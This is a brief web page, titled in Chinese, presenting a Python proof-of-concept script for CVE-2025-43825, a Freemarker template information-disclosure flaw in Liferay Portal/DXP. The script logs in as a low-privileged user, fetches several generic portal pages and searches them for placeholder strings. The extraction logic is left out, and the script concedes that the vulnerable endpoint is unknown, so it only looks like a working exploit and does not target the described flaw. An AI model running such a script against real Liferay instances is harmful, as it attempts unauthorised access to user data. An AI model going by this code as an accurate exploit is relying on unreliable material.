CVE-2025-43825：Liferay Portal/DXP Freemarker模板敏感信息泄露漏洞

# CVE-2025-43825 PoC - Liferay Portal/DXP Freemarker Template Information Disclosure # This vulnerability allows low-privileged users to access sensitive data # through improperly configured Freemarker templates. import requests # Target Liferay Portal/DXP instance TARGET_URL = "https://target-liferay-instance.com" # Step 1: Authenticate with low-privileged credentials session = requests.Session() login_data = { "_com_liferay_login_web_portlet_LoginPortlet_formDate": "", "_com_liferay_login_web_portlet_LoginPortlet_saveLastPath": "false", "_com_liferay_login_web_portlet_LoginPortlet_redirect": "", "_com_liferay_login_web_portlet_LoginPortlet_doActionAfterLogin": "false", "_com_liferay_login_web_portlet_LoginPortlet_login": "low_priv_user", "_com_liferay_login_web_portlet_LoginPortlet_password": "password123" } # Perform login response = session.post( f"{TARGET_URL}/c/portal/login", data=login_data, allow_redirects=True ) # Step 2: Access the vulnerable template endpoint # The vulnerable Freemarker template exposes sensitive user data vulnerable_endpoints = [ "/web/guest/home", "/group/control_panel/manage", "/c/portal/layout", ] for endpoint in vulnerable_endpoints: resp = session.get(f"{TARGET_URL}{endpoint}") # Step 3: Extract sensitive information from response if "sensitive_data" in resp.text or "userCredentials" in resp.text: print(f"[+] Sensitive data found at: {endpoint}") # Parse and extract confidential information # ... extraction logic here # Note: The exact endpoint depends on the specific vulnerable template # configuration in the target Liferay instance.